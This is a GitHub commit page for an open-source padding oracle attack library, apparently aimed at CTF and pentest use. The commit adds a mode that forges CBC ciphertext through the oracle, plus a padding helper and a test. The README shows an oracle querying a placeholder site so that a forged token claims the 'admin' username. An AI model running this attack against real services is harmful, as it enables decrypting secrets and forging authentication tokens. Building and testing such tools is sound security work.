Skip to content

Commit 360cfcc

Browse files
authored
Merge pull request #4 from q3st1on/add-encryption-support
Add encryption support
2 parents 3977769 + 0a89f86 commit 360cfcc

File tree

4 files changed

+142
-12
lines changed

4 files changed

+142
-12
lines changed

README.md

Lines changed: 35 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,9 @@ Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from ED
2929
| 16 | 1m 20s |
3030
| 64 | 56s |
3131

32-
## How to Use
32+
## How to Use
33+
34+
### Decryption
3335

3436
To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
3537

@@ -64,6 +66,38 @@ plaintext = padding_oracle(
6466
)
6567
```
6668

69+
### Encryption
70+
71+
To illustrate the usage, consider an example of forging a token for `https://vulnerable.website/api/?token=<.....>` :
72+
73+
```python
74+
from padding_oracle import padding_oracle, base64_encode, base64_decode
75+
import requests
76+
77+
sess = requests.Session() # use connection pool
78+
url = 'https://vulnerable.website/api/'
79+
80+
def oracle(ciphertext: bytes):
81+
resp = sess.get(url, params={'token': base64_encode(ciphertext)})
82+
83+
if 'failed' in resp.text:
84+
return False # e.g. token decryption failed
85+
elif 'success' in resp.text:
86+
return True
87+
else:
88+
raise RuntimeError('unexpected behavior')
89+
90+
payload: bytes =b"{'username':'admin'}"
91+
92+
ciphertext = padding_oracle(
93+
payload,
94+
block_size = 16,
95+
oracle = oracle,
96+
num_threads = 16,
97+
mode = 'encrypt'
98+
)
99+
```
100+
67101
In addition, the package provides PHP-like encoding/decoding functions:
68102

69103
```python

src/padding_oracle/legacy.py

Lines changed: 84 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -27,27 +27,29 @@
2727
from .encoding import to_bytes
2828
from .solve import (
2929
solve, Fail, OracleFunc, ResultType,
30-
convert_to_bytes, remove_padding)
30+
convert_to_bytes, remove_padding, add_padding)
3131

3232
__all__ = [
3333
'padding_oracle',
3434
]
3535

3636

37-
def padding_oracle(ciphertext: Union[bytes, str],
37+
def padding_oracle(payload: Union[bytes, str],
3838
block_size: int,
3939
oracle: OracleFunc,
4040
num_threads: int = 1,
4141
log_level: int = logging.INFO,
4242
null_byte: bytes = b' ',
4343
return_raw: bool = False,
44+
mode: Union[bool, str] = 'decrypt',
45+
pad_payload: bool = True
4446
) -> Union[bytes, List[int]]:
4547
'''
4648
Run padding oracle attack to decrypt ciphertext given a function to check
4749
wether the ciphertext can be decrypted successfully.
4850
4951
Args:
50-
ciphertext (bytes|str) the ciphertext you want to decrypt
52+
payload (bytes|str) the payload you want to encrypt/decrypt
5153
block_size (int) block size (the ciphertext length should be
5254
multiple of this)
5355
oracle (function) a function: oracle(ciphertext: bytes) -> bool
@@ -58,33 +60,49 @@ def padding_oracle(ciphertext: Union[bytes, str],
5860
set (default: None)
5961
return_raw (bool) do not convert plaintext into bytes and
6062
unpad (default: False)
63+
mode (str) encrypt the payload (defaut: 'decrypt')
64+
pad_payload (bool) PKCS#7 pad the supplied payload before
65+
encryption (default: True)
66+
6167
6268
Returns:
63-
plaintext (bytes|List[int]) the decrypted plaintext
69+
result (bytes|List[int]) the processed payload
6470
'''
6571

6672
# Check args
6773
if not callable(oracle):
6874
raise TypeError('the oracle function should be callable')
69-
if not isinstance(ciphertext, (bytes, str)):
70-
raise TypeError('ciphertext should have type bytes')
75+
if not isinstance(payload, (bytes, str)):
76+
raise TypeError('payload should have type bytes')
7177
if not isinstance(block_size, int):
7278
raise TypeError('block_size should have type int')
73-
if not len(ciphertext) % block_size == 0:
74-
raise ValueError('ciphertext length should be multiple of block size')
7579
if not 1 <= num_threads <= 1000:
7680
raise ValueError('num_threads should be in [1, 1000]')
7781
if not isinstance(null_byte, (bytes, str)):
7882
raise TypeError('expect null with type bytes or str')
7983
if not len(null_byte) == 1:
8084
raise ValueError('null byte should have length of 1')
81-
85+
if not isinstance(mode, str):
86+
raise TypeError('expect mode with type str')
87+
if isinstance(mode, str) and mode not in ('encrypt', 'decrypt'):
88+
raise ValueError('mode must be either encrypt or decrypt')
89+
if (mode == 'decrypt') and not (len(payload) % block_size == 0):
90+
raise ValueError('for decryption payload length should be multiple of block size')
8291
logger = get_logger()
8392
logger.setLevel(log_level)
8493

85-
ciphertext = to_bytes(ciphertext)
94+
payload = to_bytes(payload)
8695
null_byte = to_bytes(null_byte)
8796

97+
# Does the user want the encryption routine
98+
if (mode == 'encrypt'):
99+
return encrypt(payload, block_size, oracle, num_threads, null_byte, pad_payload, logger)
100+
101+
# If not continue with decryption as normal
102+
return decrypt(payload, block_size, oracle, num_threads, null_byte, return_raw, logger)
103+
104+
105+
def decrypt(payload, block_size, oracle, num_threads, null_byte, return_raw, logger):
88106
# Wrapper to handle exceptions from the oracle function
89107
def wrapped_oracle(ciphertext: bytes):
90108
try:
@@ -105,7 +123,7 @@ def plaintext_callback(plaintext: bytes):
105123
plaintext = convert_to_bytes(plaintext, null_byte)
106124
logger.info(f'plaintext: {plaintext}')
107125

108-
plaintext = solve(ciphertext, block_size, wrapped_oracle, num_threads,
126+
plaintext = solve(payload, block_size, wrapped_oracle, num_threads,
109127
result_callback, plaintext_callback)
110128

111129
if not return_raw:
@@ -115,6 +133,61 @@ def plaintext_callback(plaintext: bytes):
115133
return plaintext
116134

117135

136+
def encrypt(payload, block_size, oracle, num_threads, null_byte, pad_payload, logger):
137+
# Wrapper to handle exceptions from the oracle function
138+
def wrapped_oracle(ciphertext: bytes):
139+
try:
140+
return oracle(ciphertext)
141+
except Exception as e:
142+
logger.error(f'error in oracle with {ciphertext!r}, {e}')
143+
logger.debug('error details: {}'.format(traceback.format_exc()))
144+
return False
145+
146+
def result_callback(result: ResultType):
147+
if isinstance(result, Fail):
148+
if result.is_critical:
149+
logger.critical(result.message)
150+
else:
151+
logger.error(result.message)
152+
153+
def plaintext_callback(plaintext: bytes):
154+
plaintext = convert_to_bytes(plaintext, null_byte).strip(null_byte)
155+
bytes_done = str(len(plaintext)).rjust(len(str(block_size)), ' ')
156+
blocks_done = solve_index.rjust(len(block_total), ' ')
157+
printout = "{0}/{1} bytes encrypted in block {2}/{3}".format(bytes_done, block_size, blocks_done, block_total)
158+
logger.info(printout)
159+
160+
def blocks(data: bytes):
161+
return [data[index:(index+block_size)] for index in range(0, len(data), block_size)]
162+
163+
def bytes_xor(byte_string_1: bytes, byte_string_2: bytes):
164+
return bytes([_a ^ _b for _a, _b in zip(byte_string_1, byte_string_2)])
165+
166+
if pad_payload:
167+
payload = add_padding(payload, block_size)
168+
169+
if len(payload) % block_size != 0:
170+
raise ValueError('''For encryption payload length must be a multiple of blocksize. Perhaps you meant to
171+
pad the payload (inbuilt PKCS#7 padding can be enabled by setting pad_payload=True)''')
172+
173+
plaintext_blocks = blocks(payload)
174+
ciphertext_blocks = [null_byte * block_size for _ in range(len(plaintext_blocks)+1)]
175+
176+
solve_index = '1'
177+
block_total = str(len(plaintext_blocks))
178+
179+
for index in range(len(plaintext_blocks)-1, -1, -1):
180+
plaintext = solve(b'\x00' * block_size + ciphertext_blocks[index+1], block_size, wrapped_oracle,
181+
num_threads, result_callback, plaintext_callback)
182+
ciphertext_blocks[index] = bytes_xor(plaintext_blocks[index], plaintext)
183+
solve_index = str(int(solve_index)+1)
184+
185+
ciphertext = b''.join(ciphertext_blocks)
186+
logger.info(f"forged ciphertext: {ciphertext}")
187+
188+
return ciphertext
189+
190+
118191
def get_logger():
119192
logger = logging.getLogger('padding_oracle')
120193
formatter = logging.Formatter('[%(asctime)s][%(levelname)s] %(message)s')

src/padding_oracle/solve.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,7 @@
3636
'solve',
3737
'convert_to_bytes',
3838
'remove_padding',
39+
'add_padding'
3940
]
4041

4142

@@ -265,3 +266,12 @@ def remove_padding(data: Union[str, bytes, List[int]]) -> bytes:
265266
'''
266267
data = to_bytes(data)
267268
return data[:-data[-1]]
269+
270+
271+
def add_padding(data: Union[str, bytes, List[int]], block_size: int) -> bytes:
272+
'''
273+
Add PKCS#7 padding bytes.
274+
'''
275+
data = to_bytes(data)
276+
pad_len = block_size - len(data) % block_size
277+
return data + (bytes([pad_len]) * pad_len)

tests/test_padding_oracle.py

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
from cryptography.hazmat.primitives import padding
12
from padding_oracle import padding_oracle
23
from .cryptor import VulnerableCryptor
34

@@ -14,6 +15,18 @@ def test_padding_oracle_basic():
1415

1516
assert decrypted == plaintext
1617

18+
def test_padding_oracle_encryption():
19+
cryptor = VulnerableCryptor()
20+
21+
plaintext = b'the quick brown fox jumps over the lazy dog'
22+
ciphertext = cryptor.encrypt(plaintext)
23+
24+
encrypted = padding_oracle(plaintext, cryptor.block_size,
25+
cryptor.oracle, 4, null_byte=b'?', mode='encrypt')
26+
decrypted = cryptor.decrypt(encrypted)
27+
28+
assert decrypted == plaintext
1729

1830
if __name__ == '__main__':
1931
test_padding_oracle_basic()
32+
test_padding_oracle_encryption()

0 commit comments

Comments
 (0)